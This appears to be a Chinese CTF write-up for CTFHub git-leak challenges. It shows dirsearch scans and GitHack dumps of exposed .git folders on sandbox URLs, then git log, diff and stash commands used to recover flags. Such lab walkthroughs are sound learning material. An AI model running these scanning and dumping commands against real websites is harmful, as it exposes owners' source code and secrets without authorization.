目录
当前大量开发人员使用git进行版本控制,对站点自动部署。如果配置不当,可能会将.git文件夹直接部署到线上环境。这就引起了git泄露漏洞。
需要用到的工具:
githack (泄露利用工具在python2的环境下)
Log
使用dirsearch扫描
-u 目标url
-e 包含的文件拓展名(逗号分隔) 如-e php,asp,这里*指所有类型
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
dirsearch -u "http://challenge-f1455149644aea71.sandbox.ctfhub.com:10800/" -e* -i 200,300-399
发现存在 git 漏洞
使用 githack 扫描
python2 GitHack.py http://challenge-f1455149644aea71.sandbox.ctfhub.com:10800/.git/
扫完之后就会生成一个文件然后访问这个文件(进入到这个目录)
获取文件的日志信息,查看历史记录
git log
对比添加和删除找到flag
git diff
Stash
stash命令可用于临时保存和恢复修改,可跨分支。
使用dirsearch扫描查看是否存在git漏洞
-u 目标url
-e 包含的文件拓展名(逗号分隔) 如-e php,asp,这里*指所有类型
-i 保留的响应状态码(以逗号分隔,支持指定范围) 如(-i 200,300-399)
dirsearch -u "http://challenge-9792a7fe2829926d.sandbox.ctfhub.com:10800/" -e* -i 200,300-399
使用githack扫描这个网址
python2 GitHack.py http://challenge-9792a7fe2829926d.sandbox.ctfhub.com:10800/.git/
访问这个文件
列出Git栈内的所有备份,可以利用这个列表来决定从哪个地方恢复
git stash list
从Git栈中读取最近一次保存的内容,恢复工作区的相关内容。由于可能存在多个Stash的内容,所以用栈来管理,pop会从最近的一个stash中读取内容并恢复。
git stash pop
ls -a 查看,cat这个txt文件,得到flag
index
一样的道理,使用 dirsearch 扫描是否存在 git漏洞
dirsearch -u "http://challenge-f78e07e1c78da759.sandbox.ctfhub.com:10800/" -e* -i 200,300-399
使用 githack,进入得到文件
python2 GitHack.py http://challenge-f78e07e1c78da759.sandbox.ctfhub.com:10800/.git/
dist/challenge-f78e07e1c78da759.sandbox.ctfhub.com.10800
ls -a
cat 828532521875.txt